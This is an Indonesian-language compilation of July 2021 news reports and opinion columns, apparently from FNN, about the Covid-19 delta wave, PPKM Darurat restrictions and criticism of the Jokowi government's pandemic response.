Kini, bangsa kita terimbas Covid-19 varian delta yang membabi-buta. Akibatnya, pemerintah memberlakukan PPKM Darurat. Presiden meminta semua warga negara berdisiplin mematuhi pengaturan PPKM Darurat demi keselamatan bersama. Namun, baru beberapa hari PPKM Darurat diberlakukan, sebanyak 20 TKA China masuk melalui bandara Sultan Hasanudi Makassar. Ekonom senior Faisal Basri bahkan mengatakan, sebanyak 1.015 orang masuk melalui Bandara Sam Ratulangi, Manado, Sulawesi Utara, selama Mei 2021. Jadi, siapa sebenarnya yang tidak disiplin? Sepanjang pemerintah tak bisa disiplin menaati ucapannya sendiri, sepanjang itu kita sulit melepaskan diri dari siksa pagebluk. Telah tujuh bulan berlalu sejak presiden menyatakan Tahun 2021 momentum kebangkitan negeri. Tetapi dalam tujuh bulan pula kita tidak merasakan denyut ke arah itu. Saatnya Mengevaluasi Pernyataan seorang presiden seharusnya bukan narasi ecek-ecek. Tidak sedikit tim yang berada di balik argumentasi seorang presiden. Untuk satu kalimat saja, tentu dipersiapkan dengan matang karena pengaruhnya bisa berdampak jauh. Sekadar lip service tidak boleh terjadi. Tahun 2021 yang disebut presiden sebagai momentum kebangkitan, justru menjadi tahun yang menggelisahkan. Pandemi memuncak, rumah sakit sesak, pasien mengantre, dan tak sedikit yang berpulang karena keterbatasan layanan rumah sakit. Sudah terlalu banyak kesalahan target yang kita biarkan. Ini baru berbicara pandemi, belum ekonomi yang tempo hari dijanjikan meroket, dan lain-lain. Kini, saatnya mengevaluasi. Apakah pandemi ini memuncak karena daya gedor covid-19 yang demikian dahsyat, atau sebagian dipicu oleh kesalahan manajemen penanggulangan wabah. Menteri Koordinator Bidang Kemaritiman yang juga Koordinator PPKM Mikro Darurat Luhut Binsar Pandjaitan dalam konferensi pers pada 1 Juli 2021 mengatakan pemerintah (yang disebutnya sebagai kami) tidak memprediksi akan ada lonjakan setelah Juni 2021. Padahal, menurut Pandu Riono, setelah mendengarkan masukan tim pandemi dari Fakultas Kesehatan Masyarakat, akhir Mei 2021 Gubernur DKI Jakarta Anies Baswedan segera mengusulkan kepada pemerintah agar melakukan pengetatan di Jawa dan Bali. Namun, usulan Anies ditolak. Pandu menduga kemungkinan pemerintah memprioritaskan aspek ekonomi ketimbang penanganan pandemi. Di suatu pagi saya dihubungi mas Hocin sekretaris Gubernur Anies Baswedan. Dia menyampaikan kiranya abang berkenan mas Anies mau sarapan di rumah abang, kalau bisa sambil mengajak beberapa teman. Dengan senang hati saya menyanggupi sambil menghubungi beberapa teman untuk berdiskusi... mungkin curhat-curhatan. Hadir bang Abdullah Hehamahua, Azis Kahar, Tony Rasyid, Ubedillah Badrun, Muzakkir Jabir dan kalau tidak salah hadir juga almarhum Arief Munandar dan beberapa kawan lain, persisnya saya tidak ingat. Ketika itu kami semua terkesan dengan penjelasan mas Anies yang begitu runtut dan sangat sistematis bagaimana dengan biaya minimalis bisa menyelesaikan masalah Covid-19 ini andaikan usulan lockdown tidak dipolitisir pemerintah pusat. Sejak itulah kami berkesimpulan bahwa pemerintah bukan saja tidak cakap tapi abai dalam menjalankan amanah untuk menyelesaikan persoalan bangsa secara sungguh-sungguh. Sejak awal pandemi bermula, memang tarik menarik antara problem ekonomi dan kesehatan menjadi masalah tersendiri. Berbagai istilah bermunculan guna menghindari konsekuensi UU Kekarantinaan Kesehatan. Yang berlaku kini adalah PPKM Mikro Darurat. Sebelumnya PPKM Mikro, dan sebelumnya lagi PPKM I (11-25 Januari 2021), PPKM II (26 Januari-8 Februari 2021) dan PPKM III (9-22 Februari 2021). Itu baru istilah yang lahir pada 2021. Belum menengok tahun sebelumnya. Tapi, apapun istilahnya, poinnya adalah pemerintah wajib melindungi dan menjaga seluruh tumpah darah Indonesia, sebagaimana amanat konstitusi. Tidak boleh ada satu pun anak negeri yang berpulang begitu saja tanpa pelayanan maksimal dari negara. Kalau amanat ini tak lagi bisa diemban, maka sebaiknya Presiden Joko Widodo mengundurkan diri, sebagaimana tuntutan banyak pihak hari-hari belakangan. *) Penulis Adalah Anggota DPD RI

Malaysia Prediksi Kasus Harian COVID-19 Mencapai Puncaknya 24.000 Per Hari pada September 2021

Kuala Lumpur, FNN - Kementrian Kesehatan Malaysia (KKM) memprediksi jumlah kasus harian COVID-19 di negara tersebut akan mencapai puncaknya pada pertengahan September dengan 24.000 kasus positif sehari. Dirjen Kesehatan KKM, Dr Noor Hisham Abdullah dalam keterangannya kepada media di Putrajaya, Jumat, mengatakan berdasarkan proyeksi kadar infeksi (RT) pada saat itu adalah 1.2. "Efektivitas vaksin berada pada 75 persen sekiranya kapasitas pemberian dos kedua adalah 100,000 per hari dan 80 persen penduduk telah divaksinasi," katanya. Dia mengatakan kasus harian positif COVID-19 diprediksi menurun di bawah 1.000 kasus setiap hari pada Oktober. Hisham mengatakan berdasarkan prediksi yang dibentangkan oleh Kementerian Kesehatan Malaysia (KKM) kasus harian akan terus meningkat hingga 17.000 per hari pada pertengahan Agustus. Dia mengatakan bila pihaknya bisa melaksanakan vaksinasi 150.000 dos per hari untuk dos kedua dengan 80 persen efektivitas vaksinasi pada Oktober kasus harian positif COVID-19 akan turun di bawah 1.000. Peningkatan kasus positif COVID-19 dilaporkan selama tiga hari berturut-turut sejak Selasa dengan kasus tertinggi 13.215 dilaporkan pada Kamis. Dari jumlah tersebut sebanyak 12.684 kasus yang dideteksi adalah pasien COVID-19 kategori satu dan dua manakala 531 adalah kategori tiga hingga lima. Sementara itu jumlah kasus harian baru pada Jumat (16/7) menurun menjadi 12.541 dengan jumlah kasus tertinggi tetap berada di Negeri Selangor sebanyak 5.512 kasus. (sws)

Korsel Minta Indonesia Evaluasi Larangan Masuk WNA

Jakarta, FNN - Kedutaan Besar Republik Korea untuk Indonesia meminta kerja sama pemerintah untuk mengevaluasi kebijakan larangan masuk warga negara asing (WNA), terutama warga Korea Selatan ke Indonesia yang diberlakukan di tengah lonjakan kasus COVID-19 di Tanah Air. "Kedutaan Besar Republik Korea untuk Indonesia terus meminta kerja sama pemerintah Indonesia agar kebijakan terkait dapat dibenahi sehingga warga dan pengusaha Korea yang berkeinginan masuk ke Indonesia dapat masuk ke Indonesia dengan menaati protokol kesehatan," menurut keterangan yang diperoleh dari rilis pers Kedubes Korea, Jakarta, Jumat. Kedubes Korea menyatakan bahwa pemerintah Korea Selatan secara aktif memberikan bantuan kepada pemerintah Indonesia dalam menekan penyebaran COVID-19. Sejauh ini, pemerintah Korea Selatan juga belum mempertimbangkan langkah untuk mengevakuasi warga Korea dari Indonesia. Perusahaan-perusahaan Korea Selatan tetap menjalankan investasi di Indonesia sesuai dengan rencana yang ada untuk memulihkan perekonomian Indonesia. Dalam hal investasi, Korea Selatan bahkan menduduki peringkat kelima terbesar dalam investasi langsung terhadap Indonesia pada 2020. Terlebih lagi, pada kuartal pertama 2021, Korea Selatan berada di posisi ketiga terbesar investor asing di Indonesia. Sebagai bagian dari masyarakat Indonesia yang hidup dan mencari nafkah di Indonesia, komunitas warga Korea juga turut berupaya untuk mengatasi COVID-19 bersama dengan masyarakat Indonesia. Namun demikian, warga Korea Selatan khususnya para pemegang KITAS/KITAP yang pulang ke Korea untuk sementara beberapa waktu lalu belum dapat kembali ke Indonesia karena kebijakan larangan masuk WNA yang dikeluarkan oleh pemerintah Indonesia beberapa waktu terakhir. Sebagai imbasnya, kegiatan berinvestasi dan berbisnis mereka di Indonesia menjadi terhambat. Oleh karena itu, pemerintah Korea Selatan meminta kerja sama pemerintah Indonesia agar kebijakan tersebut dapat dibenahi sehingga mereka dapat melanjutkan kegiatan investasi di Indonesia dengan tetap mematuhi protokol kesehatan dan kebijakan lain yang ditetapkan untuk menekan laju penyebaran COVID-19. (sws)

DKI Siapkan 26 Ribu Isolasi Baru

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria menyebutkan pengadaan fasilitas pada 184 tempat isolasi baru dengan kapasitas total hingga lebih dari 26 ribu orang merupakan hasil dari kolaborasi berbagai pihak. Dia mencontohkan kolaborasi tersebut seperti yang dilakukan di Rumah Susun Pasar Rumput berkolaborasi dengan Kementerian PUPR, Wisma Haji dengan pihak Kementerian Agama, serta tempat lainnya yang diadakan oleh Pemprov DKI dengan pihak swasta. "Kita berkolaborasi, tempatnya, AC-nya, termasuk tempat tidur, kita bersinergi positif , pemerintah pusat, pemerintah daerah, swasta, juga masyarakat kita bergotong-royong dalam menghadapi wabah virus ini, saling melengkapi, saling membantu, saling tolong menolong," kata Riza di Balai Kota Jakarta, Jumat malam. Riza melanjutkan pembiayaan operasional juga akan dibagi berdasarkan lokasi tempat isolasi tersebut, seperti di Rusun Nagrak dibiayai Pemprov DKI Jakarta, kemudian Rusun Pasar Rumput bantuan dari Kementerian PUPR. "Tergantung isolasinya di mana. Jadi gotong-royong semua berkolaborasi. Ini saatnya kita berbuat, saatnya kita berbagai satu sama lain, justru kita sekarang berbuat, jangan begitu ada keluarga meninggal baru sadar perlu membantu orang lain, justru sekarang sebelum kita dibantu orang lain, saatnya kita membantu orang lain," tutur Riza. Sebelumnya, Gubernur DKI Jakarta Anies Baswedan meningkatkan kapasitas jumlah dan lokasi isolasi COVID-19 di Jakarta hingga total seluruhnya bisa menampung hingga 26.134 orang tersebar pada 184 lokasi isolasi. Hal tersebut tertuang dalam Keputusan Gubernur Nomor 891 Tahun 2021 tentang Penetapan Lokasi Isolasi dan Standar Operasional Prosedur Pengelolaan Lokasi Isolasi dalam rangka penanganan Corona Virus Disease 2019 (COVID-19). Berdasarkan dokumen yang diterima ANTARA di Jakarta, Kamis, Kepgub Nomor 891 Tahun 2021 itu ditandatangani Anies selaku Ketua Satuan Tugas Penanganan COVID-19 Provinsi DKI Jakarta pada 8 Juli 2021 dengan tujuan menetapkan lokasi isolasi dan SOP-nya sesuai dengan Perda Nomor 2 Tahun 2021 tentang Penanggulangan COVID-19. "Menetapkan lokasi isolasi dan Standar Operasional Prosedur (SOP) pengelolaan isolasi dalam rangka penanganan COVID-19," tulis Anies dalam putusan tersebut. Berdasarkan Lampiran Kepgub Nomor 675 Tahun 2021, tercantum ada 184 lokasi isolasi dalam rangka penanganan COVID-19 dengan total kapasitas mencapai 26.134 yang terdiri dari Rumah Susun, Masjid, GOR, sekolah, RPTRA, hingga rumah dinas pejabat lurah atau camat. (sws)

Pasien COVID-19 Meninggal di NTT Bertambah Delapan Orang

Kupang, FNN - Gugus Tugas Percepatan Penanganan COVID-19 menyebutkan ada tambahan delapan orang warga yang meninggal akibat terinveksi virus corona di Provinsi Nusa Tenggara Timur, sehingga kasus meninggal akibat COVID-19 sudah mencapai 602 orang. "Penderita COVID-19 yang meninggal karena terinfeksi virus Corona di NTT bertambah lagi delapan orang. Penambahan ini hanya dalam sehari pada Jumat (16/7)," kata Juru Bicara Gugus Tugas Percepatan Penanganan COVID-19 Provinsi Nusa Tenggara Timur, Marius Ardu Jelamu di Kupang, Sabtu. Marius mengatakan delapan pasien yang meninggal akibat COVID-19 itu berasal dari tiga daerah yaitu Kota Kupang, Kabupaten Ende dan Alor. Ia menyebutkan pasien COVID-19 yang meninggal di Kabupaten Ende sebanyak satu orang sehingga kasus meninggal dunia di daerah itu meningkat menjadi 35 orang. Sementara itu di Kabupaten Alor ada dua orang yang meninggal dunia sehingga terjadi penambahan pasien COVID-19 yang meninggal menjadi 14 orang. Sedangkan lima pasien positif COVID-19 yang meninggal berasal dari Kota Kupang sehingga pasien yang meninggal karena paparan virus Corona di ibu kota provinsi NTT ini bertambah menjadi 213 orang. Marius mengatakan, masyarakat NTT perlu mewaspadai terhadap penyebaran virus Corona karena telah merenggut banyak korban jiwa sejak pandemi COVID-19 melanda daerah ini. "Masyarakat jangan mengangap sepele dengan virus Corona karena virus ini sangat berbahaya. Kami berharap warga NTT secara serius mengikuti protokol kesehatan yang telah ditentukan pemerintah agar terhindar dari paparan virus Corona,"tegas Marius. (sws)

Kapolri Blusukan Malam-Malam Bagikan Sembako untuk Warga di Solo

Jakarta, FNN - Kapolri Jenderal Pol. Listyo Sigit Prabowo blusukan malam-malam membagikan paket sembako kepada pedagang dan warga di Solo, Jawa Tengah, Jumat (16/7) malam, guna mempercepat penyaluran bantuan sosial pemberlakukan pembatasan kegiatan masyarakat (PPKM) darurat dari pemerintah. Selain membagikan paket sembako dan masker, Kapolri juga terus mengedukasi masyarakat tentang bahaya COVID-19, mengingatkan pentingnya disiplin protokol kesehatan dan mematuhi aturan PPKM darurat. Dalam blusukannya, Kapolri menyapa pedagang angkringan Kota Solo yang masih berjualan malam hari, menanyakan tanggapannya soal PPKM Darurat apakah berdampak pada omzet pedagang. "Bagaimana jualannya Pak? Berdampak tidak PPKM darurat ini?" tanya Kapolri kepada salah seorang pedagang angkringan, dikutip dari keterangan pers Divisi Humas Polri, Sabtu. Kapolri pun meminta para pedagang untuk bersabar dan tetap mematuhi protokol kesehatan serta menaati kebijakan PPKM darurat agar angka COVID-19 menurun. "Mudah-mudahan kasus COVID-19 bisa menurun biar keadaan normal lagi. Akan tetapi, tetap patuhi protokol kesehatan, pakai masker, dan patuhi kebijakan PPKM," kata Sigit. Sigit berharap bantuan dari pemerintah ini dapat meringankan beban warga agar bisa melewati pandemi COVID-19. "Ini ada sedikit bantuan dari pemerintah. Kalau memang kurang nanti bilang saja sama polisi di sini, ya," ujar Sigit kepada pedagang. Pedagang dan warga sekitar yang menerima bantuan mengucapkan terima kasih. Salah satu penerima berharap pandemi COVID-19 segera berlalu dan dapat bekerja serta beraktivitas seperti biasa. "Adanya pembatasan ini, alhamdulillah, dapat bantuan dari Bapak Kapolri, terima kasih Pak atas bantuannya. Ini sangat membantu. Mudah-mudahan COVID-19 cepat berlalu," kata Agus Haryanto salah satu warga. Menurut Agus, dampak yang dirasakannya dengan PPKM darurat adalah pekerjaannya menurun. Selama berkeliling, Kapolri ditemani Asops Irjen Pol Imam Sugianto, Kapolda Jateng Irjen Pol. Ahmad Luthfi, Kadiv Propam Irjen Pol. Ferdy Sambo, dan Kadiv Humas Polri Irjen Pol. Argo Yuwono. Sementara itu, sembako yang disiapkan untuk dibagikan kepada warga sebanyak 1.000 paket. Menurut rencana, pada hari Sabtu ini Kapolri dan Panglima TNI Marsekal TNI Hadi Tjahjanto akan meninjau lokasi vaksinasi COVID-19 di Solo dan Boyolali. Presiden Joko Widodo telah memerintahkan TNI dan Polri untuk membantu membagikan bantuan beras dan paket obat kepada masyarakat terdampak pandemi COVID-19. (sws)

Pangdam Kasuari Minta Jajarannya jeli dan Teliti

Manokwari, FNN - Kodam XVIII/Kasuari terus melaksanakan langkah-langkah serius dalam pencegahan penyebaran COVID-19 di wilayah Papua Barat. Pangdam XVIII/Kasuari Mayjen TNI I Nyoman Cantiasa, S.E., M.Tr.(Han) selaku Panglima Komando Tugas Gabungan Terpadu (Pangkogasgabpad) bersama jajarannya di Manokwari, Jumat (16/7), melakukan evaluasi penanganan COVID-19 melalui rapat virtual dari ruang rapat Sopsdam XVIII/Kasuari. Mayjen TNI I Nyoman Cantiasa meminta jajarannya untuk jeli, teliti, dan bisa mengurai benang merah penyebaran COVID-19, mulai dari jumlah kasus, langkah penanganan, hingga permasalahan titik isolasi mandiri masyarakat. Pangdam berharap grafik merah COVID-19 di Papua Barat agar kembali menjadi hijau. "Kita jangan lengah, saya minta masing-masing jajaran dan bagian untuk menyampaikan sedikit gambaran langkah-langkah apa yang sudah dilaksanakan di daerah masing-masing sesuai dengan medan tempur, kegiatan vaksin, dan sinergi TNI/Polri dengan pemda seperti apa gambarannya," kata Pangdam. Selanjutnya, Danrem 181/PVT Brigjen TNI Indra Heri, S.E. dalam kesempatan tersebut menjelaskan bahwa Kota Sorong selalu menjadi daerah merah karena wilayah sekitarnya, seperti Tambrauw, Maybrat, Sorsel, dan Raja Ampat merujuk pasien ke kota Sorong karena fasilitas kesehatan di wilayahnya tidak mencukupi dan kurang. "Solusi yang kami sampaikan kepada Pemerintah adalah melaksanakan penyekatan pada akses masuk bertempat di Tugu Pawbili, jalan poros Sorong-Makbon, bandara Deo Sorong, dan pelabuhan,” ujarnya. Sementara itu, Danrem 182/JO Kolonel Inf. Yudha Medy Dharma Zafrul, S.I.P. mengatakan bahwa tidak ada lagi penerbangan di Bandara Kaimana dan Fakfak di wilayahnya sejak pemberlakuan pembatasan kegiatan masyarakat (PPKM). "Jadi, sudah sangat terbantu sekali untuk menekan angka COVID-19 karena terhentinya penerbangan dan jalur laut," katanya. Adapun tindakan internal setelah pihaknya mendapatkan perintah operasi, antara lain melakukan swab seluruh jajaran dan melaksanakan protokol kesehatan. Sementara itu, langkah dari Kodim 1801/Manokwari, yakni membentuk posko PPKM yang dibagi menjadi enam tim tersebar di pelabuhan, bandara, tempat ibadah, perkantoran, tempat wisata, hiburan, penyekatan, restoran, angkringan, dan pasar. Dalam rapat virtual itu, Pangdam berharap jajaran beserta keluarganya terhindar dari kondisi sakit agar dapat melaksanakan tugas untuk mengurus anggota ataupun masyarakat di wilayahnya. "Segera laksanakan program Serbuan Vaksin, baik anggota sendiri maupun masyarakat, berikan edukasi dan sosialisasi terkait dengan vaksin, atur bagaimana penyekatan-penyekatan yang ada di wilayah masing-masing intinya dengan memberikan pemahaman yang baik terhadap masyarakat dengan cara humanis," kata Pangdam menegaskan. (sws)

Haul Mbah Moen PPP Doakan COVID-19 Segera Berakhir

Jakarta, FNN - Dewan Pengurus Pusat Partai Persatuan Pembangunan (DPP PPP) menggelar Haul Ke-2 K.H. Maimoen Zubair secara virtual dengan acara doa bersama agar bangsa Indonesia bisa melewati masa pendemi hingga situasi kembali normal. Ketua Majelis Syariah PPP K.H. Musthafa Aqil Siraj dalam keterangan tertulis yang diterima di Jakarta, Sabtu, menyebutkan bahwa Mbah Moen (K.H. Maimoen Zubair) merupakan sosok yang sangat dekat dengan semua kalangan. Menurut dia, Mbah Moen tidak pernah membeda-bedakan tamu, baik dari kalangan kaya maupun miskin. Semua disambut dengan sama, terbuka dan akrab. "Mbah Moen merupakan tokoh yang membuat orang merasa dekat dengannya. Semua santrinya merasa dekat dengan beliau. Bukan hanya para santri, melainkan banyak kalangan,” kata K.H. Musthafa. Kiai Haji Musthafa juga berpesan agar pandemi COVID-19 menjadi sarana bagi semua orang untuk bermuhasabah. Selama ini mungkin banyak orang melupakan Allah. Maka, dengan pandemi ini membuktikan bahwa Tuhan itu ada. "Pandemi ini mengingatkan kembali bahwa Allah itu ada dan hadir dalam kehidupan kita. Sebelumnya kita mungkin sudah diingatkan dengan musibah gempa dan lainnya. Maka, pandemi ini makin mengingatkan kita akan keberadaan Allah di tengah-tengah kita," kata K.H. Musthafa. Ia meminta masyarakat untuk berikhtiar agar tetap sehat di tengah masa pandemi, di antaranya dengan pengikuti protokol kesehatan berupa menggunakan masker, menghindari kerumunan, dan lainnya. Selain Haul Ke-2 K.H. Maimoen Zubair, DPP PPP juga memperingati 7 hari wafatnya K.H. Zainuddin Djazuli pengasuh Pondok Pesantren Ploso Kediri, Jumat (16/7) malam. Sekjen DPP PPP Arwani Thomafi mengatakan bahwa acara yang didahului Khotmil Quran bil ghoib oleh Jamiyyatul Qurro wal Huffadh (JQH-NU DKI) upaya mengenang dua tokoh ulama yang selama hidupnya konsisten berjuang untuk agama dan bangsa. Para ulama, menurut dia, adalah penerang alam semesta yang perlu diteladani dan dicontoh umat. Acara bertajuk Mujahadah Merawat Persatuan ini juga menjadi sarana berdoa bersama agar bangsa Indonesia mendapat solusi untuk bisa melewati masa pendemi hingga situasi yang lebih baik dan lebih sehat. "Wafatnya para ulama seperti K.H. Maimoen Zubair dua tahun lalu dan K.H. Zainuddin Djazuli serta ratusan ulama lainnya pada masa pandemi ini merupakan sebuah kematian alam semesta," kata Arwani. Ia menilai Mbah Moen adalah sosok yang paripurna dalam dua hal, yakni sebagai ulama yang alim yang mempunyai ilmu agama yang berlimpah dan memiliki wawasan kebangsaan yang sangat luas. "Mbah Moen hingga akhir hayatnya mencontohkan tentang cara berjuang yang konsisten yang di antaranya dicontohkan dengan terus bersama PPP hingga akhir hayat," kata Arwani. Acara yang berlangsung secara virtual ini diikuti para pengurus dan kader PPP di seluruh Indonesia. Acara istigasah dipimpin oleh Habib Ahmad Idrus alHabsy. Sementara itu, doa disampaikan oleh K.H. Ahmad Mahin Toha, pengasuh Pondok Pesantren Lirboyo Unit Darussalam yang juga merupakan Wakil Ketua Majelis Syariah DPP PPP. (sws)

Presiden Dorong Kerja Sama Global Atasi COVID-19 di KTT Informal APEC

Jakarta, FNN - Presiden Joko Widodo (Jokowi) menyerukan pentingnya solidaritas dan kerja sama antarnegara di dunia untuk bersama-sama melawan pandemi COVID-19 di Konferensi Tingkat Tinggi (KTT) Informal Kerja Sama Ekonomi Asia Pasifik (APEC), Jumat. Presiden Jokowi juga menggarisbawahi pentingnya dunia memastikan upaya vaksinasi global, termasuk memperkecil kesenjangan vaksinasi. “Dalam kaitan ini, Presiden mengharapkan APEC dapat berkontribusi untuk menutup ketimpangan vaksinasi global, termasuk melalui berbagi dosis lewat Covax Facility," ujar Menteri Luar Negeri Retno Marsudi dalam keterangan pers di Youtube Sekretariat Presiden yang disaksikan di Jakarta, Jumat malam, usai mendampingi Presiden Jokowi dalam pertemuan tersebut. Presiden Jokowi menyampaikan saat ini kesenjangan vaksinasi di dunia masih cukup lebar. Kesenjangan ini terlihat dari data penyuntikan dosis vaksin di kawasan ASEAN yang baru mencapai 17,63 persen dari populasi, di kawasan Afrika baru 4,3 persen dari populasi. Sementara di kawasan Amerika Utara dan Eropa masing-masing sebesar 77,73 persen dan 76,81 persen dari total populasi. Menurut Presiden, pertimbangan epidemiologis harus selalu menjadi dasar utama dan bukan pertimbangan pengaruh politik, termasuk dalam masalah vaksin ini. Presiden juga menyampaikan di dalam pidatonya bahwa APEC harus mendorong peningkatan produksi vaksin global. "Terdapat beberapa strategi yang harus dilakukan, yaitu diversifikasi produksi vaksin ke negara berkembang, eliminasi hambatan perdagangan terkait bahan baku vaksin, kemudian dukungan terhadap TRIPS waiver untuk mengatasi pandemi, dan alih teknologi vaksin terkini," jelas Menlu. Dalam pidatonya, Presiden Jokowi juga menegaskan bahwa pemulihan ekonomi mustahil dilakukan bila pandemi belum berakhir. Untuk itu, lanjutnya, pemulihan kesehatan harus didahulukan sehingga perang melawan COVID-19 bisa segera dimenangkan. Presiden Jokowi juga menjelaskan mengenai kebijakan utama pemerintah Indonesia saat ini, antara lain kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di seluruh Jawa dan Bali, serta kota-kota yang mengalami lonjakan kasus. Selain itu, Presiden Jokowi juga menyampaikan upaya penguatan layanan kesehatan, termasuk membangun rumah sakit darurat, upaya mencukupi kebutuhan oksigen dan obat-obatan, serta percepatan vaksinasi nasional. "Di dalam konteks vaksin, Presiden menyampaikan bahwa saat ini sudah lebih 55 juta dosis vaksin telah disuntikkan di Indonesia dan akan terus diakselerasi vaksinasi di Indonesia. Sejauh ini, Indonesia telah menerima 142.973.880 dosis vaksin baik dalam bentuk curah maupun dalam bentuk vaksin jadi," kata Menlu. Presiden Jokowi mengakhiri pidatonya dengan menyampaikan bahwa tantangan dunia ke depan masih berat dan harus diatasi bersama. "Hanya dengan solidaritas dan kerja sama dunia akan mampu keluar dari pandemi dan mampu bangkit bersama," kata Menlu. (sws)

Ikatan Cinta

By M Rizal Fadillah Bandung, FNN - Setelah ramai bacaan "kenegaraan" Presiden Jokowi komik Sin Chan kini cuitan Mahfud MD soal asyik menikmati sinetron "Ikatan Cinta" dikomentari Netizen. Masalahnya bangsa Indonesia saat ini sedang serius menghadapi lonjakan angka korban pandemi Covid 19. Terkesan Menko Polhukam tidak peka dengan penderitaan rakyat Indonesia. Sempat-sempatnya pamer kegiatan dengan menonton sinetron. PPKM Darurat menyulitkan rakyat akibat mobilitas yang terganggu. Ekonomi keluarga menjadi morat marit. Pengangguran terjadi dimana-mana dan usaha-usaha gulung tikar. Mencoba eksispun diobrak-abrik oleh petugas yang berdalih menjalankan tugas. Tidak ada pola yang sistematis dalam penanganan. Main labrak sok disiplin. Wajar jika disana sini ada perlawanan. Luhut sang Koordinator Jawa-Bali yang asalnya sangat jumawa dan yakin dapat cepat mengendalikan pandemi ternyata brat bret brot juga terhuyung-huyung dalam bekerja. Lalu minta bantuan internasional yang tentu saja China termasuk di dalamnya. "Skenario terburuk sudah disiapkan" kata Luhut. Ya itulah, SOS dunia, bendera putih. Di sisi lain Menteri masih sempat pula piknik ke luar negeri. Meninves Bahlil Kahadilia dan Mendag M Luthfi di tengah PPKM berada di New York berjalan-jalan tanpa masker. Lucunya Presiden menurut Pramono Anung kecewa atas Menteri yang melawat ke luar negeri. Aneh, ke Amerika tanpa koordinasi istana. Pura-pura atau benar-benar "lost of control" ? Kembali ke Ikatan Cinta Mahfud MD yang mengomentari soal skenario pembunuhan yang tanpa ilmu. Pengakuan bukan bukti utama dalam pidana, kata Mahfudz. Begitu peduli dengan sinetron cinta yang ada pembunuhannya. Lupa bahwa di alam sebenarnya ada enam anak bangsa dibunuh dengan biadab oleh aparat yang Mahfud menganggap biasa saja. Mahfud tidak ngerti ilmu hukum pidana, peristiwa pembunuhan seperti itu adalah kejahatan kemanusiaan. Pelanggaran HAM berat, Professor ! Ikatan Cinta adalah kisah kepanikan. Mahfud panik lari ke dunia sinetron. Bahlil dan Luthfi lari ke Amerika. Luhut lari ke China. Jokowi mungkin lari ke ruang semedi. Tidak cepat mengambil alih komando pandemi. Istana sebenarnya sedang panik dalam tiga dimensinya kesehatan, ekonomi, dan politik. Kesehatan karena lonjakan korban yang meninggal mencapai 70 ribu, ekonomi macet dan hutang di atas 6000 trilyun, politik mendapat serangan dari oposisi yang menilai Jokowi anti demokrasi dan melanggar hak asasi. PPKM Darurat adalah awal dari pengibaran bendera putih untuk kedaruratan multi dimensi. Semua itu karena ulah Jokowi sendiri. Akibat dari sikap dan kebijakan yang lebih mengutamakan ikatan cinta istana ketimbang cinta rakyat. Ikatan cinta rakyat kepada istana akan semakin longgar bahkan mungkin segera lepas. *) Pemerhati Politik dan Kebangsaan

Varian Delta Sudah Menginveksi Morowali Utara

Morowali Utara, FNN - Bupati Morowali Utara (Provinsi Sulawesi Tengah/Sulteng) dr. Delis Julkarson Hehi mengungkapkan, varian delta COVID-19 sudah masuk wilayah itu dan menginfeksi warga di sana. "Awalnya saya sangat berharap agar varian delta (COVID-19) ini tidak tembus di daerah kita. Namun kenyataannya sudah terjadi seperti sekarang," katanya dalam rapat koordinasi terpadu Gugus Tugas COVID-19 Kabupaten Morut di Kantor Bupati Morut, Jumat. Ia mengakui ada masyarakat yang sudah capek menerapkan protokol kesehatan (prokes) pencegahan penularan dan penyebaran COVID-19 seperti memakai masker, mencuci tangan dan prokes lainnya. Namun dengan kondisi saat ini, mau tidak mau prokes tersebut harus dilakukan secara ketat agar tidak terpapar COVID-19, utamanya varian delta. "Prokes yang harus dilaksanakan oleh semua pihak yakni memakai masker, menjaga jarak dan mencuci tangan pakai sabun (3M) dan tracing atau penelusuran, testing atau pengujian dan treatment atau pengobatan (3T),"ujarnya. Dalam rapat tersebut juga disepakati untuk kembali mengaktifkan semua posko COVID-19 di setiap desa dan memperketat pintu perbatasan antar kabupaten. Ia juga meminta para camat yang wilayahnya berada di perbatasan antara kabupaten seperti Kecamatan Soyojaya, Mori Utara, Mori Atas, Lembo Raya, Petasia Timur dan Mamosalato untuk melakukan pengetatan arus keluar dan masuk masyarakat. "Begitupun 16 pusat keselamatan masyarakat (Puskesmas) yang ada di Morut untuk selalu siaga untuk mengantisipasi penyebaran COVID-19 yang kini sangat mengkhawatirkan,"ucapnya. Sementara itu, Kepala Satuan Binmas Polres Morut AKP Dedi Suparman dalam rapat itu mengemukakan melihat perkembangan COVID-19 di Morut saat ini maka langkah pengetatan dan operasi yustisi harus kembali dilakukan. "Selain itu ada 20 kampung tangguh di Morut yang merupakan binaan Polres akan dioptimalkan untuk mencegah dan mengantisipasi penularan dan penyebaran COVID-19,"terangnya. Kepala Dinas Kesehatan Morut Delnan Lauende menyatakan Hingga 15 Juli tercatat 187 warga Morut dinyatakan positif COVID-19 dan kini menjalani perawatan. Selain itu 15 orang meninggal dunia. Belakangan ini, kata dia, penyebaran COVID-19 dengan masuknya varian delta begitu cepat dan sangat mengkhawatirkan. Bahkan di Morut saat ini sudah empat kecamatan yang dinyatakan zona merah. "Keempat kecamatan zona merah COVID-19 tersebut adalah Kecamatan Lembo, Lembo Raya, Petasia Timur dan Petasia," jelasnya. (sws)

Kudus Tak Semua Terapkan WFH 50 Persen

Kudus, FNN - Pemerintah Kabupaten (Pemkab) Kudus, Jawa Tengah, mencatat belum semua perusahaan memberlakukan bekerja dari rumah atau Work From Home (WFH) sebesar 50 persen dari semua pegawainya, sehingga mereka diminta segera menerapkan aturan tersebut. "Kami mencatat memang baru beberapa perusahaan besar yang menerapkan pekerja di perusahaan hanya 50 persen, seperti PT Djarum Kudus," kata Bupati Kudus Hartopo di Kudus, Jumat. Ia mengungkapkan dari hasil monitoring di lapangan dan pemanggilan perusahaan yang ditindaklanjuti oleh Apindo dan Dinas Tenaga Kerja, Perindustrian, Koperasi, dan UKM Kabupaten Kudus, intinya semua perusahaan di Kudus siap "merumahkan" 50 persen pegawainya. Seharusnya, kata dia, kebijakan tersebut diberlakukan sejak awal penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat, ternyata baru beberapa perusahaan besar yang melaksanakan, sedangkan lainnya masih banyak yang belum melaksanakan. Bagi pekerja yang dirumahkan akan mendapatkan uang tunggu dari perusahaan. Ia mengungkapkan perusahaan bisa memilih merumahkan sebagian karyawannya sehingga yang bekerja tetap 50 persen dari total pekerjanya atau mengatur giliran kerja dengan sehari masuk kerja, sehari libur, sehingga yang masuk kerja 50 